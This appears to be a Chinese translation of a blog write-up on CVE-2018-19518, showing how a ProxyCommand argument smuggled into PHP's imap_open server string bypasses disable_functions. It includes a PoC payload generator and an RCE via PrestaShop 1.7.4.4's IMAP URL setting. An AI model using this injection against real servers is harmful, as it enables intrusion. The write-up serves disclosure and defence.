如何利用imap绕过PHP中的disable_functions(CVE-2018-19518)

iso60001  1957天前

今天,我们将探索一种令人兴奋的方法以便远程执行代码,即使管理员在PHP配置文件中设置disable_functions也没用。这种方法可在大多数流行的类UNIX系统中工作。

该漏洞被标志为CVE-2018-19518,是由@CRLF发现的。让我们看看这个漏洞的细节,以及我们如何利用它。

测试环境

为了测试操作,我们需要建立一个测试环境。我将使用docker容器与Debian 9系统,为了方便调试将一些安全选项设置为否。

docker run — rm -ti — cap-add=SYS_PTRACE — security-opt seccomp=unconfined — name=phpimap — hostname=phpimap -p80:80 debian /bin/bash

接下来,我们需要安装IMAP模块,PHP以及一个编辑器。

apt update && apt install -y nano php php-imap

在这篇文章所描述的例子中,PHP版本7.0.30已默认安装。

22.png

另外,我们需要ssh,因为每个服务器都有SSH,对吗?:)

apt install -y ssh

如果你想看到系统调用,你需要安装strace工具。

apt install -y strace

现在,尝试为我们的PHP增强一下安全性。为了做到这一点,我简单的谷歌一下“PHP禁用危险函数”

并使用来自搜索结果的第一个链接。是的,我就是这样一个技术高超的管理员。

根据手册,我们需要在配置文件disable_functions指令中添加以下内容。

echo ‘; priority=99’ > /etc/php/7.0/mods-available/disablefns.ini

echo ‘disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source’ >> /etc/php/7.0/mods-available/disablefns.ini

phpenmod disablefns

现在,我们被认为PHP已被保护了起来,不能执行大多数危险的功能。让我们看看我们能做些什么。

33.png

什么是IMAP?

为什么我们需要回答这个奇怪的问题?因为它是我们案例中在系统内执行任何命令的桥梁。Internet Message Access Protocol (IMAP)是电子邮件客户端用于通过TCP/IP连接从邮件服务器检索电子邮件消息的网络标准协议。IMAP是Mark Crispin在1986年作为远程邮箱协议被设计出来,与之相对的是被广泛使用的POP。目前,IMAP是由RFC 3501规范所定义。IMAP的设计初衷是允许多个电子邮件客户端对电子邮件收件箱进行完全的管理。因此,客户端通常在服务器上留下消息,直到用户手动删除它们为止。IMAP服务器通常监听端口号143。默认情况下,会使用SSL(IMAPS),分配端口号为993。PHP当然支持IMAP。为了使协议的利用更容易,PHP提供很多相关功能。而在所有这些功能中,我们只对imap_open感兴趣。它用于打开连接某个邮箱的IMAP流。这个函数不是PHP默认核心函数;它是从华盛顿大学在2007年开发的IMAP工具包环境导入的。最新版本大约在7年前的2011发布。

在PHP代码中调用它的语法是这样的:

resource imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] )

当需要自定义要连接的服务器时使用的mailbox参数。

{[host]}:[port][flags]}[mailbox_name]

除了host、port和邮箱名称之外,我们还可以使用一些其他参数。所有关于它的信息都可以在官方手册页中找到。某些IMAP服务器的标准连接语句可能是这样的:

imap_open(“{mail.domain.com}:143/imap/notls}”, “admin”, “admin”)

其中/imap和/notls是连接标识。

看看高亮的/norsk标识。IMAP允许您使用预认证的SSH或RSH会话自动登录到服务器。当您不需要使用该功能时,就使用该标识,默认情况下服务是会尝试使用该功能。每个人都知道SSH,但是有谁知道什么是rsh?

44.png

什么是rsh?

远程shell(RSH)早在SSH之前就已被使用了。它的起源可以追溯到BSD UNIX操作系统,以及RCP。它是1983中4.2BSD的rlogin包的一部分。Rsh已移植到其他操作系统。然后,在1995,首个SSH版本出现了。

rsh命令与另一个常见的UNIX实用程序(受限shell)具有相同的名称,它首先出现在PWB/UNIX中。在V系统的版本4中,受限制shell通常位于/usr/bin/rsh。然而,问题是,2018了,rsh依然存在?最流行的UNIX类系统distros仍然以某种方式使用它:

  • Ubuntu: link to ssh
  • Debian: link to ssh
  • Arch: rsh itself
  • etc

55.png

漏洞细节

查看imap2007F库的源代码。与连接有关的主要功能是在tcp_unix.c文件中所定义的tcp_aopen。

/imap-2007f/src/osdep/unix/tcp_unix.c:

321: /* TCP/IP authenticated open
322: * Accepts: host name
323: * service name
324: * returned user name buffer
325: * Returns: TCP/IP stream if success else NIL
326: */    
…
330: TCPSTREAM *tcp_aopen (NETMBX *mb,char *service,char *usrbuf)
331: {

让我们检查SSH和RSH的路径是否被定义。

/imap-2007f/src/osdep/unix/tcp_unix.c:

341: #ifdef SSHPATH /* ssh path defined yet? */
342: if (!sshpath) sshpath = cpystr (SSHPATH);
343: #endif
344: #ifdef RSHPATH /* rsh path defined yet? */
345: if (!rshpath) rshpath = cpystr (RSHPATH);
346: #endif

该代码告诉我们,如果SSHPATH没有被定义,那么尝试读取RSHPATH。阅读一下源代码将帮助我们找出SSHPATH被定义的位置。实际上,它是在IMAP守护进程读取的配置文件/etc/c-client.cf中。函数dorc解析读取的信息以了解其他指令中的ssh-path的值。如果它被定义,那么SSHPATH会等于它。

/imap-2007f/src/osdep/unix/env_unix.h:

48: /* dorc() options */
49:
50: #define SYSCONFIG “/etc/c-client.cf”    

/imap-2007f/src/osdep/unix/env_unix.c:

1546: /* Process rc file
…
1552: void dorc (char *file,long flag)
1553: {
…
1677: else if (!compare_cstring (s,”set ssh-path”))
1678: mail_parameters (NIL,SET_SSHPATH,(void *) k);

默认情况下,它是空的,我们也不能控制它,因为/etc目录不是写的。但是你可以试着朝这个方向深入挖掘,也许你可以找到一个很好的攻击方式。

现在我们转进RSHPATH的定义。它位于编译自动化工具(make)的配置文件---Makefile中。不同版本的distros对于他们的Makefiles有不同的生成路径。在大多数版本的Linux下,您可以看到是/usr/bin/rsh路径。

/imap-2007f/src/osdep/unix/Makefile:

248: bs3: # BSD/i386 3.0 or higher
…
253: RSHPATH=/usr/bin/rsh \
…
261: bsf: # FreeBSD
…
266: RSHPATH=/usr/bin/rsh \
…
528: mnt: # Mint
…
533: RSHPATH=/usr/bin/rsh \
…
590: osx: # Mac OS X
…
594: RSHPATH=/usr/bin/rsh \
…
673: slx: # Secure Linux
…
681: RSHPATH=/usr/bin/rsh \

我使用Debian 9作为测试环境,其中/usr/bin/rsh为RSHPATH的值,在我的例子中,RSHPATH同样是到ssh二进制文件的链接。

返回到tcp_aopen并观察定义完成之后的情况。

/imap-2007f/src/osdep/unix/tcp_unix.c:

347: if (*service == ‘*’) { /* want ssh? */

348: /* return immediately if ssh disabled */
349: if (!(sshpath && (ti = sshtimeout))) return NIL;
350: /* ssh command prototype defined yet? */
351: if (!sshcommand) sshcommand = cpystr (“%s %s -l %s exec /etc/r%sd”);
352: }
353: /* want rsh? */
354: else if (rshpath && (ti = rshtimeout)) {
355: /* rsh command prototype defined yet? */
356: if (!rshcommand) rshcommand = cpystr (“%s %s -l %s exec /etc/r%sd”);
357: }
358: else return NIL; /* rsh disabled */

该代码生成一个在远程服务器上执行rimapd文件二进制的命令。让我们为创建一个PHP脚本来测试。

test1.PHP:

1: <?php
2: @imap_open(‘{localhost:143/imap}INBOX’, ‘’, ‘’);

然后将strace工具配合execve调用一起使用,以观察在脚本处理期间执行的命令。

strace -f -e trace=clone,execve php test1.php

66.png

正如您所看到的,localhost也是执行命令的参数之一。这意味着我们可以在操作服务器地址参数的同时操作命令行。

让我们看看SSH二进制文件的选项,因为在Debian的/usr/bin/rsh已被链接到这。这里有很多选择,当然,我们需要集中注意力在参数-O上。

77.png

有了这个选项,我就可以在命令行中传递任何指令,就像它们在配置文件描述的一样。了解了一下ProxyCommand参数。通过它的帮助,您可以指定用于连接到的服务器的命令。该命令在用户的shell中执行。这正是我们需要一个好的利用点!

让我们看看它如何用一个简单的命令如何工作:

88.png

ssh -oProxyCommand=”echo hello|tee /tmp/executed” localhost

99.png

命令完全执行成功了。

好的,但是我们不能直接将它转换为到PHP脚中的imap_open服务器地址,因为在解析时,它会把空格解释为分隔符,把斜杠解释为标识。幸运的是,您可以使用$IFS,这个shell变量替换空间符号或普通标签(\t)。您可以使用Ctrl+V快捷键和Tab按钮在bash中插入\t。

ssh -oProxyCommand=”echo hello|tee /tmp/executed” localhost

100.png

为了绕过斜杠,可以使用ba se64编码y以及相关命令对其进行解码。

echo “echo hello|tee /tmp/executed”|ba se64

> ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=

ssh -oProxyCommand=”echo ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=|ba se64 -d|bash” localhost

110.png

很好!现在是用PHP测试它的时候了。

Test2.PHP:

1: <?php
2: $payload = “echo hello|tee /tmp/executed”;
3: $encoded_payload = ba se64_encode($payload);
4: $server = “any -o ProxyCommand=echo\t”.$encoded_payload.”|ba se64\t-d|bash”;
5: @imap_open(‘{‘.$server.’}:143/imap}INBOX’, ‘’, ‘’);

现在再次使用strace执行它,观察命令行调用的内容。

120.png

看看那些命令链。我们所有的命令都在远程服务器上运行。运行完成后,文件成功创建。命令不是由PHP本身执行的,而是由外部库执行的,这意味着没有任何东西可以阻止它执行,甚至disable_functions也不行。

PrestaShop RCE

现在让我们来看一个现实中关于PrestaShop的示例。它是一个免费的电子商务解决方案。在开源软件许可证下发布的软件。它是用PHP编写的,支持MySQL数据库管理系统。PrestaShop目前被全球约250000个在线商店使用。

首先,您需要安装以下要求的环境。

apt install -y wget unzip apache2 mysql-server php-zip php-curl php-mysql php-gd php-mbstring

service mysql start

mysql -u root -e “CREATE DATAba se prestashop; GRANT ALL PRIVILEGES ON *.* TO ‘root’@’localhost’ IDENTIFIED BY ‘megapass’;”

a2enmod rewrite

接下来,下载PrestaShop 1.7.4.4 安装程序并将其提取到Web根目录。

cd /var/www/html

wget https://download.prestashop.com/download/releases/prestashop_1.7.4.4.zip

unzip prestashop_1.7.4.4.zip

Start Apache2 daemon and surf your web-server to begin shop installation.

service apache2 start

130.png

在安装过程成功之后,登录到管理面板,转到Customer service选项卡并查看Customer service选项部分。其中含有有IMAP服务器参数,您可以在其中找到IMAP URL。

140.png

查看AdminCustomerThreads控制器的源代码。

prestashop-1.7.4.4/controllers/admin/AdminCustomerThreadsController.php:

0948: // Executes the IMAP synchronization.
0949: $sync_errors = $this->syncImap();
…
0966: public function syncImap()
0967: {
0968: if (!($url = Configuration::get(‘PS_SAV_IMAP_URL’))
0969: || !($port = Configuration::get(‘PS_SAV_IMAP_PORT’))
0970: || !($user = Configuration::get(‘PS_SAV_IMAP_USER’))
0971: || !($password = Configuration::get(‘PS_SAV_IMAP_PWD’))) {
0972: return array(‘hasError’ => true, ‘errors’ => array(‘IMAP configuration is not correct’));
0973: }
0974:
0975: $conf = Configuration::getMultiple(array(
0976: ‘PS_SAV_IMAP_OPT_POP3’, ‘PS_SAV_IMAP_OPT_NORSH’, ‘PS_SAV_IMAP_OPT_SSL’,
0977: ‘PS_SAV_IMAP_OPT_VALIDATE-CERT’, ‘PS_SAV_IMAP_OPT_NOVALIDATE-CERT’,
0978: ‘PS_SAV_IMAP_OPT_TLS’, ‘PS_SAV_IMAP_OPT_NOTLS’));
…
1007: $mbox = @imap_open(‘{‘.$url.’:’.$port.$conf_str.’}’, $user, $password);

您可以在这里使用用户数据$URL变量调用了imap_open。

我把以前的脚本更新成PHP的一个小的payload生成器。它需要你想执行的命令作为一个参数。

payload.php:

1: <?php
2: $payload = $argv[1];
3: $encoded_payload = ba se64_encode($payload);
4: $server = “any -o ProxyCommand=echo\t”.$encoded_payload.”|ba se64\t-d|bash}”;
5: print(“payload: {$server}”.PHP_EOL);

插入生成的payload到URL处并保存。


哇!远程代码执行漏洞出现了。

结论

今天我们学习了绕过安全限制实现远程代码执行的新技术。看看现实世界中PrestaShop软件,它仍然没有更新解决了这个问题的版本。然而,PHP开发者已经发布了这个问题的补丁。不幸的是,Linux发行版和其中的包更新的速度没有我们想象的那么快。

注意并尽量避免项目中使用不安全的imap_open函数。

Have a nice bug bounty ;)

原文链接:https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb

最新评论

昵称
邮箱
提交评论